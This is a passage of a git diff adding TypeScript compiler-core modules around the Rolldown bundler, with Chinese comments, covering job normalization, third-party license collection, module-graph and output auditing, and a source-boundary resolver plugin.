+ create(input: InputOptions): Promise; + /** 使用与 Compiler Host 相同 Rolldown 发行版解析 JS/TS 语法。 */ + parse(source: string, filename: string, language: 'js' | 'jsx' | 'ts' | 'tsx'): unknown; +} + +/** 进程内共享的 Rolldown 动态加载结果。 */ +let enginePromise: Promise | undefined; + +/** + * 延迟加载 Core 唯一 Rolldown 驱动。 + * + * @returns 版本直接来自当前 Rolldown 模块的最小驱动器。 + */ +export function loadManagedEngine(): Promise { + enginePromise ??= Promise.all([import('rolldown'), import('rolldown/parseAst')]).then(([module, parser]) => { + /** 解析器与 bundle 驱动在同一受管加载边界内取得,避免静态子路径依赖泄漏。 */ + const parseAst = parser.parseAst; + /** 驱动只暴露 rolldown、generate、close 与受管 watchFiles。 */ + const engine: ManagedEngine = { + name: 'rolldown', + version: module.VERSION, + /** 根据 Core 重建的 input options 创建原生 bundle。 */ + create: async (input): Promise => { + /** 原生 bundle 始终被收缩到 Host 内部能力面。 */ + const bundle: RolldownBuild = await module.rolldown(input); + return Object.freeze({ + /** 不暴露 write,只代理内存 generate。 */ + generate: (options: OutputOptions) => bundle.generate(options), + /** 不暴露原生 bundle identity 的关闭代理。 */ + close: () => bundle.close(), + /** 由 Host 在审计后统一消费 Rolldown watchFiles。 */ + get watchFiles() { + return bundle.watchFiles; + }, + }); + }, + /** portable policy 不引入第二套 parser。 */ + parse: (source, filename, language) => parseAst(source, { lang: language, sourceType: 'unambiguous' }, filename), + }; + return Object.freeze(engine); + }); + return enginePromise; +} diff --git a/packages/core/src/compiler/job-normalizer.ts b/packages/core/src/compiler/job-normalizer.ts new file mode 100644 index 0000000..aa386c7 --- /dev/null +++ b/packages/core/src/compiler/job-normalizer.ts @@ -0,0 +1,276 @@ +import { promises as fs } from 'node:fs'; +import type { + AssetMode, + CompileEntry, + CompileJob, + CompileProfile, + SourceDirectoryRef, +} from '../kernel-types.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; + +/** Compiler job/output/entry 共用的稳定 ID 语法。 */ +const STABLE_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; + +/** 虚拟模块公开 specifier 的稳定语法。 */ +const VIRTUAL_SPECIFIER = /^[a-z0-9]+(?:[-.:/][a-z0-9]+)*$/; + +/** Core 快照后的一个虚拟模块。 */ +export interface VirtualSource { + readonly code: string; + readonly resolveFrom?: string; +} + +/** 已授权并解析到物理边界的 Compile Entry。 */ +export interface NormalizedEntry { + readonly id: string; + readonly mode: AssetMode; + readonly inputId: string; + readonly sourceRoot: string; +} + +/** 同步快照、尚未执行物理 I/O 的 source Job。 */ +export interface PendingCompileSources { + readonly id: string; + readonly entries: readonly PendingEntry[]; + readonly scopes: readonly SourceDirectoryRef[]; + readonly virtualSources: ReadonlyMap; + readonly options: unknown; +} + +/** 已完成来源树复核的 Job 公共部分。 */ +export interface NormalizedCompileSources { + readonly id: string; + readonly entries: readonly NormalizedEntry[]; + readonly virtualSources: ReadonlyMap; + readonly sourceRoots: readonly string[]; +} + +/** 完成容器快照但尚未执行物理 I/O 的 entry。 */ +type PendingEntry = { + readonly id: string; + readonly mode: AssetMode; + readonly type: 'source'; + readonly source: CompileEntry & { readonly type: 'source' }; +} | { + readonly id: string; + readonly mode: AssetMode; + readonly type: 'virtual'; + readonly inputId: string; + readonly code: string; + readonly resolveFrom: SourceDirectoryRef; +}; + +/** + * 确认运行时对象不使用 accessor 或 Symbol 隐藏语义。 + * + * @param value 待检查对象。 + * @param label 稳定诊断标签。 + * @param optional 是否允许 undefined 并视为空对象。 + * @returns 全部自有 data property。 + */ +export function dataProperties( + value: unknown, + label: string, + optional = false, +): Record { + if (optional && value === undefined) + return {}; + if (typeof value !== 'object' || value === null || Array.isArray(value)) + throw new TypeError(`${label} must be an object.`); + if (Object.getOwnPropertySymbols(value).length > 0) + throw new TypeError(`${label} must not contain symbol properties.`); + /** descriptor 读取不会触发调用方 getter。 */ + const descriptors = Object.getOwnPropertyDescriptors(value); + for (const [field, descriptor] of Object.entries(descriptors)) { + if (!('value' in descriptor)) + throw new TypeError(`${label}.${field} must be a data property.`); + } + return descriptors; +} + +/** + * 校验稳定小写 kebab-case ID。 + * + * @param value 待验证文本。 + * @param label 诊断字段名。 + */ +export function assertStableId(value: unknown, label: string): asserts value is string { + if (typeof value !== 'string' || !STABLE_ID.test(value)) + throw new TypeError(`${label} must use lowercase kebab-case.`); +} + +/** + * 校验 Compile Entry mode。 + * + * @param value 调用方可选 mode。 + * @returns 只读模块默认 0644。 + */ +function entryMode(value: unknown): AssetMode { + /** 省略 mode 时使用非可执行默认值。 */ + const mode = value ?? 0o644; + if (mode !== 0o644 && mode !== 0o755) + throw new TypeError('Compile entry mode must be 0644 or 0755.'); + return mode; +} + +/** + * 在任何异步边界前快照 Compile Job 的公共来源结构。 + * + * @param owner 当前 owner。 + * @param profile 期望 Profile。 + * @param job 调用方 Job。 + * @param sources SourceRef 授权注册表。 + * @returns 不再引用调用方可变容器的待解析来源。 + */ +export function prepareCompileSources

( + owner: string, + profile: P, + job: CompileJob

, + sources: SourceRegistry, +): PendingCompileSources { + /** Job 顶层的完整 data property 集。 */ + const descriptors = dataProperties(job, 'Compile job'); + for (const field of Object.keys(descriptors)) { + if (!new Set(['id', 'profile', 'entries', 'sourceScopes', 'virtualModules', 'options']).has(field)) + throw new TypeError(`Compile job.${field} is unknown.`); + } + assertStableId(descriptors.id?.value, 'Compile job id'); + if (descriptors.profile?.value !== profile) + throw new TypeError(`Compiler normalization expected profile "${profile}".`); + /** 命名入口的完整 data property 集。 */ + const entryDescriptors = dataProperties(descriptors.entries?.value, 'Compile job entries'); + if (Object.keys(entryDescriptors).length === 0) + throw new TypeError('Compile job entries must not be empty.'); + /** 输入 entry 在任何 await 前完成容器快照与 Ref identity 授权。 */ + const entries: PendingEntry[] = []; + for (const id of Object.keys(entryDescriptors).sort(compareCodePoints)) { + assertStableId(id, 'Compile entry id'); + /** 当前入口的完整 data property 集。 */ + const entry = dataProperties(entryDescriptors[id]!.value, `Compile entry "${id}"`); + for (const field of Object.keys(entry)) { + if (!new Set(['type', 'source', 'code', 'resolveFrom', 'mode']).has(field)) + throw new TypeError(`Compile entry "${id}".${field} is unknown.`); + } + /** 当前入口经校验的交付 mode。 */ + const mode = entryMode(entry.mode?.value); + if (entry.type?.value === 'source') { + /** 与调用方 entry 容器解除引用的 SourceRef 请求。 */ + const source = Object.freeze({ type: 'source' as const, source: entry.source?.value as never, mode }); + sources.authorizeFile(owner, source.source); + entries.push(Object.freeze({ id, mode, type: 'source' as const, source })); + } else if (entry.type?.value === 'virtual') { + if (typeof entry.code?.value !== 'string') + throw new TypeError(`Compile entry "${id}".code must be a string.`); + /** 虚拟 entry 相对 import 使用的受权目录 ref。 */ + const resolveFrom = entry.resolveFrom?.value as SourceDirectoryRef; + sources.authorizeDirectory(owner, resolveFrom); + entries.push(Object.freeze({ + id, + mode, + type: 'virtual' as const, + inputId: `\0acplugin:entry:${id}`, + code: entry.code.value, + resolveFrom, + })); + } else { + throw new TypeError(`Compile entry "${id}".type must be source or virtual.`); + } + } + /** 来源 scope ref 数组在任何 await 前复制并授权。 */ + const scopes: SourceDirectoryRef[] = []; + if (descriptors.sourceScopes?.value !== undefined) { + if (!Array.isArray(descriptors.sourceScopes.value)) + throw new TypeError('Compile job sourceScopes must be an array.'); + for (const scope of [...descriptors.sourceScopes.value]) { + sources.authorizeDirectory(owner, scope); + scopes.push(scope); + } + } + /** 虚拟模块字典同样只接受稳定 data properties。 */ + const virtualSources = new Map(); + if (descriptors.virtualModules?.value !== undefined) { + /** 虚拟模块的完整 data property 集。 */ + const modules = dataProperties(descriptors.virtualModules.value, 'Compile job virtualModules'); + for (const specifier of Object.keys(modules).sort(compareCodePoints)) { + if (!VIRTUAL_SPECIFIER.test(specifier)) + throw new TypeError(`Virtual module specifier "${specifier}" is invalid.`); + if (typeof modules[specifier]!.value !== 'string') + throw new TypeError(`Virtual module "${specifier}" must contain string code.`); + virtualSources.set(`\0acplugin:module:${specifier}`, Object.freeze({ code: modules[specifier]!.value as string })); + } + } + return Object.freeze({ + id: descriptors.id.value, + entries: Object.freeze(entries), + scopes: Object.freeze(scopes), + virtualSources: new Map(virtualSources), + options: descriptors.options?.value, + }); +} + +/** + * 复核作者树、SourceRef 指纹并解析 Rolldown 所需物理来源。 + * + * @param owner 当前 owner。 + * @param pending 同步快照后的 Job 来源。 + * @param sources SourceRef 授权注册表。 + * @returns 已完成全部 I/O 边界检查的来源。 + */ +export async function resolveCompileSources( + owner: string, + pending: PendingCompileSources, + sources: SourceRegistry, +): Promise { + /** 当前 Job 的完整物理来源根。 */ + const sourceRoots = new Set(); + /** 本次已递归检查的作者物理根。 */ + const validatedRoots = new Set(); + /** Rolldown 可消费的最终入口。 */ + const entries: NormalizedEntry[] = []; + /** 虚拟源码需要补上异步解析得到的物理 resolveFrom。 */ + const virtualSources = new Map(pending.virtualSources); + for (const entry of pending.entries) { + if (entry.type === 'source') { + /** 已复核指纹的物理文件记录。 */ + const record = await sources.validatedFile(owner, entry.source.source); + if (!validatedRoots.has(record.root)) { + await sources.validateFileTree(owner, entry.source.source); + validatedRoots.add(record.root); + } + /** Rolldown 读取真实路径,报告仍只使用 Registry 中的相对路径。 */ + const inputId = await fs.realpath(record.physicalPath); + /** 当前 source 授权根的真实物理路径。 */ + const sourceRoot = await fs.realpath(record.root); + sourceRoots.add(sourceRoot); + entries.push(Object.freeze({ id: entry.id, mode: entry.mode, inputId, sourceRoot })); + } else { + /** 虚拟 entry 的已授权目录记录。 */ + const record = sources.authorizeDirectory(owner, entry.resolveFrom); + if (!validatedRoots.has(record.root)) { + await sources.validateTree(owner, entry.resolveFrom); + validatedRoots.add(record.root); + } + /** 虚拟 entry 相对 import 的真实授权根。 */ + const sourceRoot = await fs.realpath(record.physicalPath); + sourceRoots.add(sourceRoot); + virtualSources.set(entry.inputId, Object.freeze({ code: entry.code, resolveFrom: sourceRoot })); + entries.push(Object.freeze({ id: entry.id, mode: entry.mode, inputId: entry.inputId, sourceRoot })); + } + } + for (const scope of pending.scopes) { + /** 额外 source scope 必须同样递归拒绝 symlink 和特殊文件。 */ + const record = sources.authorizeDirectory(owner, scope); + if (!validatedRoots.has(record.root)) { + await sources.validateTree(owner, scope); + validatedRoots.add(record.root); + } + sourceRoots.add(await fs.realpath(record.physicalPath)); + } + return Object.freeze({ + id: pending.id, + entries: Object.freeze(entries), + virtualSources: new Map(virtualSources), + sourceRoots: Object.freeze([...sourceRoots].sort(compareCodePoints)), + }); +} diff --git a/packages/core/src/compiler/license-pipeline.ts b/packages/core/src/compiler/license-pipeline.ts new file mode 100644 index 0000000..c60f48a --- /dev/null +++ b/packages/core/src/compiler/license-pipeline.ts @@ -0,0 +1,129 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import parseSpdxExpression from 'spdx-expression-parse'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import type { AuditedModule } from './managed-auditor.js'; +import type { ManagedPackageScope } from './managed-boundary.js'; + +/** 单个法律材料文件的固定读取上限。 */ +const MAX_LEGAL_FILE_BYTES = 4 * 1024 * 1024; + +/** Core 认可的 package 根法律文件名。 */ +const LEGAL_FILE = /^(?:licen[cs]e|notice|copying)(?:[._-].*)?$/iu; + +/** Compiler license pipeline 的确定性结果。 */ +export interface CompilerLicenseResult { + readonly bytes?: Uint8Array; + readonly inputs: readonly string[]; + readonly watchFiles: readonly string[]; +} + +/** + * 验证 manifest license 是完整 SPDX expression。 + * + * @param value package.json license 字段。 + * @param identity 已脱敏 package 身份。 + * @returns 原始合法 expression。 + */ +function spdxLicense(value: unknown, identity: string): string { + if (typeof value !== 'string' || value.length === 0) + throw new Error(`Bundled dependency "${identity}" must declare a license SPDX expression.`); + try { + parseSpdxExpression(value); + } catch { + throw new Error(`Bundled dependency "${identity}" declares an invalid license SPDX expression.`); + } + return value; +} + +/** + * 收集当前独立 entry 实际模块图中的第三方法律材料。 + * + * @param modules 最终通过授权审计的模块图。 + * @param packages resolver 证明的 package 边界。 + * @returns 非空依赖时的固定文本和全部 watch/origin 输入。 + */ +export async function collectCompilerLicenses( + modules: readonly AuditedModule[], + packages: ReadonlyMap, +): Promise { + /** 只收集确实进入最终 bundle graph 的 package root。 */ + const usedRoots = new Set(modules + .filter(module => module.kind === 'package') + .map(module => [...packages.values()].find(candidate => module.physicalId === candidate.root + || module.physicalId.startsWith(`${candidate.root}${path.sep}`))?.root) + .filter((root): root is string => root !== undefined)); + if (usedRoots.size === 0) + return Object.freeze({ inputs: Object.freeze([]), watchFiles: Object.freeze([]) }); + /** package 身份排序不依赖包管理器物理布局。 */ + const dependencies = [...usedRoots] + .map(root => packages.get(root)!) + .sort((left, right) => compareCodePoints(`${left.name}@${left.version}`, `${right.name}@${right.version}`)); + /** 每个 package 独立形成一个稳定 section。 */ + const sections: string[] = []; + /** manifest/legal 文件同时是 watch 和 structured origin 输入。 */ + const watchFiles: string[] = []; + /** GeneratedAsset structured provenance 使用的安全 package 引用。 */ + const inputs: string[] = []; + for (const dependency of dependencies) { + /** package identity 不包含磁盘位置。 */ + const identity = `${dependency.name}@${dependency.version}`; + /** 当前 package 根 manifest 物理路径。 */ + const manifestPath = path.join(dependency.root, 'package.json'); + /** resolver 已证明 manifest;license 阶段重新拒绝 symlink/特殊文件。 */ + const manifestStat = await fs.lstat(manifestPath); + if (!manifestStat.isFile() || manifestStat.isSymbolicLink()) + throw new Error(`Bundled dependency "${identity}" has an unsafe package manifest.`); + /** JSON parse 错误统一收敛为不泄露绝对路径的诊断。 */ + let manifest: { readonly name?: unknown; readonly version?: unknown; readonly license?: unknown }; + try { + manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as typeof manifest; + } catch { + throw new Error(`Bundled dependency "${identity}" has an unreadable package manifest.`); + } + if (manifest.name !== dependency.name || manifest.version !== dependency.version) + throw new Error(`Bundled dependency "${identity}" changed identity during compilation.`); + /** 经过 parser 完整确认的 SPDX expression。 */ + const license = spdxLicense(manifest.license, identity); + /** 只枚举 package root,避免把嵌套源码中任意文件解释为法律材料。 */ + const directoryEntries = (await fs.readdir(dependency.root, { withFileTypes: true })) + .filter(entry => LEGAL_FILE.test(entry.name)) + .sort((left, right) => compareCodePoints(left.name, right.name)); + if (directoryEntries.length === 0) + throw new Error(`Bundled dependency "${identity}" does not contain license or notice evidence.`); + /** 同一 package 的材料按文件名稳定连接。 */ + const materials: string[] = []; + for (const entry of directoryEntries) { + /** 当前法律材料的 package-root 直属物理路径。 */ + const legalPath = path.join(dependency.root, entry.name); + /** 法律材料必须是普通非 symlink 文件且大小受限。 */ + const stat = await fs.lstat(legalPath); + if (!entry.isFile() || !stat.isFile() || stat.isSymbolicLink()) + throw new Error(`Bundled dependency "${identity}" has unsafe legal material.`); + if (stat.size === 0 || stat.size > MAX_LEGAL_FILE_BYTES) + throw new Error(`Bundled dependency "${identity}" has missing or oversized legal material.`); + /** CRLF 只规范成 LF;不裁剪或改写法律正文。 */ + const body = (await fs.readFile(legalPath, 'utf8')).replace(/\r\n?/gu, '\n'); + if (body.trim().length === 0) + throw new Error(`Bundled dependency "${identity}" has empty legal material.`); + materials.push(`--- ${entry.name} ---\n${body.endsWith('\n') ? body : `${body}\n`}`); + watchFiles.push(legalPath); + inputs.push(`package:${identity}/${entry.name}`); + } + watchFiles.push(manifestPath); + inputs.push(`package:${identity}/package.json`); + sections.push([ + `Package: ${identity}`, + `License: ${license}`, + '', + ...materials, + ].join('\n')); + } + /** 固定 heading/分隔与最终换行,不包含生成时间或物理路径。 */ + const text = `THIRD-PARTY LICENSES\n\n${sections.join('\n========================================\n\n')}`; + return Object.freeze({ + bytes: new TextEncoder().encode(text.endsWith('\n') ? text : `${text}\n`), + inputs: Object.freeze([...new Set(inputs)].sort(compareCodePoints)), + watchFiles: Object.freeze([...new Set(watchFiles)].sort(compareCodePoints)), + }); +} diff --git a/packages/core/src/compiler/managed-auditor.ts b/packages/core/src/compiler/managed-auditor.ts new file mode 100644 index 0000000..4df6466 --- /dev/null +++ b/packages/core/src/compiler/managed-auditor.ts @@ -0,0 +1,251 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { + CompileModuleReport, + ManagedRolldownCompileOptions, +} from '../kernel-types.js'; +import { compareCodePoints, isInsidePath, safeRelativePath } from '../kernel/path-policy.js'; +import type { EngineOutput } from './engine-loader.js'; +import type { ManagedPackageScope } from './managed-boundary.js'; +import { assertNoPhysicalPathBytes } from './physical-path-auditor.js'; + +/** Core 从 Rolldown ModuleInfo 仅采样的审计字段。 */ +export interface EngineModuleSnapshot { + readonly importedIds: readonly string[]; + readonly dynamicallyImportedIds: readonly string[]; + readonly importers: readonly string[]; + readonly dynamicImporters: readonly string[]; +} + +/** 模块图审计需要的安全来源根。 */ +export interface ManagedAuditScopes { + readonly projectRoot: string; + readonly sourceRoots: readonly string[]; + readonly workRoot: string; + readonly packages: ReadonlyMap; +} + +/** 通过 module graph 审计的内部节点。 */ +export interface AuditedModule { + readonly physicalId: string; + readonly logicalId: string; + readonly kind: CompileModuleReport['kind']; + readonly inputs: readonly string[]; + readonly importedBy: readonly string[]; +} + +/** + * 返回模块图对应的内部物理 watch 观察。 + * + * @param modules 已完成来源授权和逻辑身份脱敏的模块。 + * @returns project/source 使用物理文件,package 同时附带安全 identity。 + */ +export function managedModuleWatchObservations( + modules: readonly AuditedModule[], +): readonly { readonly path: string; readonly type: 'file'; readonly identity?: string }[] { + return Object.freeze(modules + .filter(module => path.isAbsolute(module.physicalId.replace(/\?.*$/u, ''))) + .map(module => Object.freeze({ + path: module.physicalId.replace(/\?.*$/u, ''), + type: 'file' as const, + ...(module.kind === 'package' ? { identity: module.logicalId } : {}), + })) + .sort((left, right) => compareCodePoints(left.path, right.path))); +} + +/** 验证后的一个 Rolldown 输出文件。 */ +export interface AuditedOutput { + readonly type: 'chunk' | 'asset'; + readonly fileName: string; + readonly entryId?: string; + readonly isEntry: boolean; + readonly bytes: Uint8Array; +} + +/** + * 判断一个 ID 是否为 Rolldown 或 Plugin 虚拟模块。 + * + * @param id Rolldown 模块 ID。 + * @returns 不携带物理绝对路径时返回 true。 + */ +function isVirtualId(id: string): boolean { + return id.startsWith('\0') || !path.isAbsolute(id.replace(/\?.*$/u, '')); +} + +/** + * 把虚拟模块 ID 收敛为稳定报告身份。 + * + * @param id 原始虚拟 ID。 + * @returns 不包含 NUL、空白或绝对路径的逻辑 ID。 + */ +function virtualIdentity(id: string): string { + /** Rolldown 内部 NUL 只是虚拟前缀,不进入稳定报告。 */ + const value = id.replace(/^\0+/u, '').replace(/\?.*$/u, ''); + if (!/^[A-Za-z0-9@._:/-]+$/.test(value) || value.includes('..') || value.startsWith('/')) + throw new Error('Managed Rolldown produced an unsafe virtual module identity.'); + return `virtual:${value.replace(/^acplugin:/u, '')}`; +} + +/** + * 把一个物理/虚拟模块 ID 分类为安全逻辑身份。 + * + * @param id Rolldown 模块 ID。 + * @param scopes 当前 owner 授权边界。 + * @returns 报告 ID 与种类。 + */ +async function logicalModuleIdentity( + id: string, + scopes: ManagedAuditScopes, +): Promise<{ readonly id: string; readonly kind: CompileModuleReport['kind'] }> { + if (isVirtualId(id)) + return Object.freeze({ id: virtualIdentity(id), kind: 'virtual' as const }); + /** query 不参与物理路径边界判定。 */ + const physical = path.normalize(id.replace(/\?.*$/u, '')); + /** 作者来源与 owner workDir 均使用 project-relative 或 owner-local 逻辑 ID。 */ + if (scopes.sourceRoots.some(root => isInsidePath(root, physical))) { + return Object.freeze({ + id: path.relative(scopes.projectRoot, physical).split(path.sep).join('/'), + kind: 'source' as const, + }); + } + if (isInsidePath(scopes.workRoot, physical)) { + return Object.freeze({ + id: `virtual:work/${path.relative(scopes.workRoot, physical).split(path.sep).join('/')}`, + kind: 'virtual' as const, + }); + } + /** 其他物理模块必须能归属正常 package manager 依赖。 */ + const real = await fs.realpath(physical).catch(() => physical); + /** 与 resolver 证明集匹配的依赖 package。 */ + const dependency = [...scopes.packages.values()].find(scope => isInsidePath(scope.root, real)); + if (dependency === undefined) + throw new Error('Managed Rolldown module graph escaped authorized sources without a package boundary.'); + /** package 内相对子路径保留可审计性。 */ + const subpath = path.relative(dependency.root, real).split(path.sep).join('/'); + return Object.freeze({ + id: `package:${dependency.name}@${dependency.version}${subpath.length === 0 ? '' : `/${subpath}`}`, + kind: 'package' as const, + }); +} + +/** + * 校验并脱敏 Rolldown 最终模块图。 + * + * @param graph Core 审计 Plugin 捕获的原始图节点。 + * @param scopes 当前 owner 授权边界。 + * @returns 稳定排序的私有审计节点。 + */ +export async function auditManagedModules( + graph: ReadonlyMap, + scopes: ManagedAuditScopes, +): Promise { + /** 原始 ID 到脱敏身份的完整映射。 */ + const identities = new Map(); + for (const id of graph.keys()) + identities.set(id, await logicalModuleIdentity(id, scopes)); + /** 节点引用边仅保留已在最终图中审计的模块。 */ + const modules: AuditedModule[] = []; + for (const [physicalId, info] of graph) { + /** 当前物理节点的脱敏身份。 */ + const identity = identities.get(physicalId)!; + /** 当前节点的静态与动态输入边。 */ + const inputs = [...info.importedIds, ...info.dynamicallyImportedIds] + .map(id => identities.get(id)?.id) + .filter((id): id is string => id !== undefined); + /** 当前节点的静态与动态反向边。 */ + const importedBy = [...info.importers, ...info.dynamicImporters] + .map(id => identities.get(id)?.id) + .filter((id): id is string => id !== undefined); + modules.push(Object.freeze({ + physicalId, + logicalId: identity.id, + kind: identity.kind, + inputs: Object.freeze([...new Set(inputs)].sort(compareCodePoints)), + importedBy: Object.freeze([...new Set(importedBy)].sort(compareCodePoints)), + })); + } + return Object.freeze(modules.sort((left, right) => compareCodePoints(left.logicalId, right.logicalId))); +} + +/** + * 验证 Rolldown 输出路径、来源映射和原始字节。 + * + * @param output Rolldown generate() 返回值。 + * @param modules 同一 build object 的已审计模块。 + * @param policy managed Profile 策略。 + * @returns 可写入 owner workDir 并签发的文件快照。 + */ +export function auditManagedOutput( + output: EngineOutput, + modules: readonly AuditedModule[], + policy: ManagedRolldownCompileOptions['policy'], + physicalRoots: readonly string[], +): readonly AuditedOutput[] { + /** 所有输出使用 exact/case/NFC 折叠键检测跨文件系统冲突。 */ + const paths = new Map(); + /** 当前 output 的完整文件集合用于静态/动态 chunk 闭包检查。 */ + const knownFiles = new Set(output.output.map(item => safeRelativePath(item.fileName))); + /** 当前 output 已通过的文件快照。 */ + const audited: AuditedOutput[] = []; + /** 最终模块图的原始 ID 集合。 */ + const moduleIds = new Set(modules.map(module => module.physicalId)); + for (const item of output.output) { + /** 不经 normalize 折叠的安全 Rolldown fileName。 */ + const fileName = safeRelativePath(item.fileName); + /** 跨大小写/NFC 文件系统的冲突键。 */ + const collisionKey = fileName.normalize('NFC').toLowerCase(); + /** 已占用同一折叠键的先前路径。 */ + const previous = paths.get(collisionKey); + if (previous !== undefined) + throw new Error(`Managed Rolldown output path collision between "${previous}" and "${fileName}".`); + paths.set(collisionKey, fileName); + if (item.type === 'chunk') { + /** Chunk 声明的每个模块都必须已在独立图审计中通过。 */ + for (const id of [...item.moduleIds, ...Object.keys(item.modules)]) { + if (!moduleIds.has(id)) + throw new Error('Managed Rolldown output references a module outside the audited graph.'); + } + if (policy?.nativeAddons === 'reject' + && (item.moduleIds.some(id => /\.node(?:[?#]|$)/u.test(id)) || /\.node(?:[?#'"`]|$)/u.test(item.code))) + throw new Error('Managed Rolldown output contains a native addon reference rejected by policy.'); + if (policy?.unresolvedImports === 'reject' + && [...item.imports, ...item.dynamicImports].some(id => !knownFiles.has(id) && !id.startsWith('node:'))) + throw new Error('Managed Rolldown output contains an unresolved import rejected by policy.'); + /** Chunk 字节在任何 GeneratedAssetRef 签发前执行统一物理根审计。 */ + const bytes = new TextEncoder().encode(item.code); + if (policy?.deterministic === true) + assertNoPhysicalPathBytes(bytes, physicalRoots, 'Managed Rolldown deterministic output contains an absolute build path.'); + audited.push(Object.freeze({ + type: 'chunk' as const, + fileName, + ...(item.isEntry ? { entryId: item.name } : {}), + isEntry: item.isEntry, + bytes, + })); + } else { + /** Asset source 必须复制,不与 Rolldown external-memory handle 共享。 */ + const bytes = typeof item.source === 'string' + ? new TextEncoder().encode(item.source) + : Uint8Array.from(item.source); + if (policy?.deterministic === true) + assertNoPhysicalPathBytes(bytes, physicalRoots, 'Managed Rolldown deterministic output contains an absolute build path.'); + audited.push(Object.freeze({ type: 'asset' as const, fileName, isEntry: false, bytes })); + } + } + return Object.freeze(audited.sort((left, right) => compareCodePoints(left.fileName, right.fileName))); +} + +/** + * 把私有审计节点投影为 SDK 模块报告。 + * + * @param modules 已脱敏私有节点。 + * @returns 不包含物理 ID 的公开结果。 + */ +export function managedModuleReports(modules: readonly AuditedModule[]): readonly CompileModuleReport[] { + return Object.freeze(modules.map(module => Object.freeze({ + id: module.logicalId, + kind: module.kind, + inputs: module.inputs, + importedBy: module.importedBy, + }))); +} diff --git a/packages/core/src/compiler/managed-boundary.ts b/packages/core/src/compiler/managed-boundary.ts new file mode 100644 index 0000000..eec8a10 --- /dev/null +++ b/packages/core/src/compiler/managed-boundary.ts @@ -0,0 +1,166 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { ManagedRolldownPlugin } from '../kernel-types.js'; +import { isInsidePath } from '../kernel/path-policy.js'; + +/** 由正常 bare import 解析证明的 package 边界。 */ +export interface ManagedPackageScope { + readonly name: string; + readonly version: string; + readonly root: string; +} + +/** managed resolver 需要的 owner 物理来源边界。 */ +export interface ManagedResolutionScopes { + readonly sourceRoots: readonly string[]; + readonly workRoot: string; + readonly packages: Map; +} + +/** + * 把 Rolldown module ID 收窄为物理绝对路径。 + * + * @param id Rolldown 模块 ID。 + * @returns 去除 query 的绝对路径,虚拟/裸 ID 返回 undefined。 + */ +function moduleFile(id: string): string | undefined { + /** query 不属于物理文件身份。 */ + const value = id.replace(/\?.*$/u, ''); + return path.isAbsolute(value) ? path.normalize(value) : undefined; +} + +/** + * 判断 import specifier 是否不携带本地路径语义。 + * + * @param source import specifier。 + * @returns bare package/imports specifier 返回 true。 + */ +function isBareSpecifier(source: string): boolean { + return !source.startsWith('.') + && !source.startsWith('/') + && !source.startsWith('file:') + && !path.isAbsolute(source) + && !source.startsWith('\0'); +} + +/** + * 从 bare specifier 提取预期 package name。 + * + * @param source bare import specifier。 + * @returns scoped/unscoped 根包名,package imports 返回 undefined。 + */ +function barePackageName(source: string): string | undefined { + if (!isBareSpecifier(source) || source.startsWith('#')) + return undefined; + /** scoped 与 unscoped package 的路径分段。 */ + const segments = source.split('/'); + return source.startsWith('@') + ? segments.length >= 2 ? `${segments[0]}/${segments[1]}` : undefined + : segments[0] || undefined; +} + +/** + * 查找已解析模块最近的 package 身份。 + * + * @param file package manager 解析后的文件。 + * @returns 有 name/version 的普通 manifest 边界。 + */ +export async function packageScope(file: string): Promise { + /** package manager symlink 解析后的真实模块路径。 */ + const real = await fs.realpath(file).catch(() => path.normalize(file)); + /** 从模块目录开始向上查找最近 manifest。 */ + let directory = path.dirname(real); + while (true) { + /** 当前候选 package manifest。 */ + const manifest = path.join(directory, 'package.json'); + try { + /** manifest 必须是非 symlink 普通文件。 */ + const stat = await fs.lstat(manifest); + if (!stat.isFile() || stat.isSymbolicLink()) + return undefined; + /** 依赖授权只使用稳定身份字段。 */ + const data = JSON.parse(await fs.readFile(manifest, 'utf8')) as { readonly name?: unknown; readonly version?: unknown }; + if (typeof data.name === 'string' && data.name.length > 0 + && typeof data.version === 'string' && data.version.length > 0) { + return Object.freeze({ name: data.name, version: data.version, root: directory }); + } + /** dist/esm/package.json 等仅声明 type 的嵌套 manifest 不是 package identity 边界。 */ + } catch /** error 只区分 manifest 不存在与无法读取。 */ (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') + return undefined; + } + /** 父目录用于稳定终止向上查找。 */ + const parent = path.dirname(directory); + if (parent === directory) + return undefined; + directory = parent; + } +} + +/** + * 查找已批准的 importer package。 + * + * @param packages 当前 Job 已证明 package 集合。 + * @param importerFile importer 真实路径。 + * @returns 包含 importer 的 package 边界。 + */ +function importerPackage( + packages: ReadonlyMap, + importerFile: string | undefined, +): ManagedPackageScope | undefined { + if (importerFile === undefined) + return undefined; + return [...packages.values()].find(scope => isInsidePath(scope.root, importerFile)); +} + +/** + * 建立 Core 插入的受管解析边界。 + * + * Plugin 先调用后续 trusted resolver,再对结果建立 source/work/package + * 授权。最终 module audit 仍会在 generate() 返回后独立复核此集合。 + * + * @param scopes 当前 Job 的可变 package 证明集与固定来源根。 + * @returns 必须位于调用方 Plugin 之前的 Core resolver。 + */ +export function managedSourceBoundaryPlugin(scopes: ManagedResolutionScopes): ManagedRolldownPlugin { + return Object.freeze({ + name: 'acplugin-source-boundary', + resolveId: { + order: 'pre' as const, + /** 解析后立即建立 source/work/package 证明。 */ + async handler(source, importer, options) { + /** skipSelf 保留用户 Plugin、Core virtual Plugin 和 Rolldown resolver 语义。 */ + const resolved = await this.resolve(source, importer, { ...options, skipSelf: true }); + if (resolved === null || resolved.external) + return resolved; + /** 已解析结果中的物理文件。 */ + const file = moduleFile(resolved.id); + if (file === undefined) + return resolved; + /** package manager symlink 解析后的真实模块路径。 */ + const real = await fs.realpath(file).catch(() => path.normalize(file)); + if (scopes.sourceRoots.some(root => isInsidePath(root, real)) || isInsidePath(scopes.workRoot, real)) + return { ...resolved, id: real }; + /** 当前 importer 的可选真实文件。 */ + const importerFile = importer === undefined + ? undefined + : await fs.realpath(moduleFile(importer) ?? '').catch(() => moduleFile(importer)); + /** importer 已经证明的 package 边界。 */ + const parentPackage = importerPackage(scopes.packages, importerFile); + if (parentPackage !== undefined && 